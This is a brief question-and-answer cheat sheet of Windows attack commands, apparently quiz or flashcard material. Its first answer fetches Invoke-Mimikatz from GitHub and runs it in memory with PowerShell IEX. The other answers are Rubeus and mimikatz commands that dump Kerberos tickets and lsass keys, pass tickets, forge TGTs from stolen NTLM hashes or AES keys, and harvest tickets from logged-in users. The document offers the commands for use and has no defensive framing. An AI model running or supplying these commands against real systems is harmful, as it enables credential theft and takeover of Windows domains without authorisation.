Windows Hacking Commands

Question 1

Mimikatz fileless download powershell

Answer 1

(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1’) | IEX

Question 2

How to dump kerberos tickets from memory?

Answer 2

Rubeus.exe dump

Question 3

How to dump only TGTs from memory?

Answer 3

Rubeus.exe dump /tgt

Question 4

How to use a ticket (pass the ticket)?

Answer 4

Rubeus.exe ptt /ticket:”C:\path\to\ticket.kirbi”

Question 5

How to make a kerberos ticket from an NTLM hash?

Answer 5

Rubeus.exe asktgt /domain:[domain] /user:[user] /rc4:[hash] /ptt

Question 6

How to create a fake logon session with rubeus?

Answer 6

Rubeus.exe createnetonly /program:”C:\Windows\System32\cmd.exe” /show

Question 7

How to make a TGT with a key?

Answer 7

Rubeus.exe asktgt /domain:[domain] /user:[user] /aes256:[AES_KEY] /ptt

Question 8

How to dump kerberos keys from lsass?

Answer 8

mimikatz.exe privilege::debug sekurlsa::ekeys exit

Question 9

How to extract kerberos tickets from active users on a windows host?

Answer 9

Rubeus.exe harvest /interval:30 /nowrap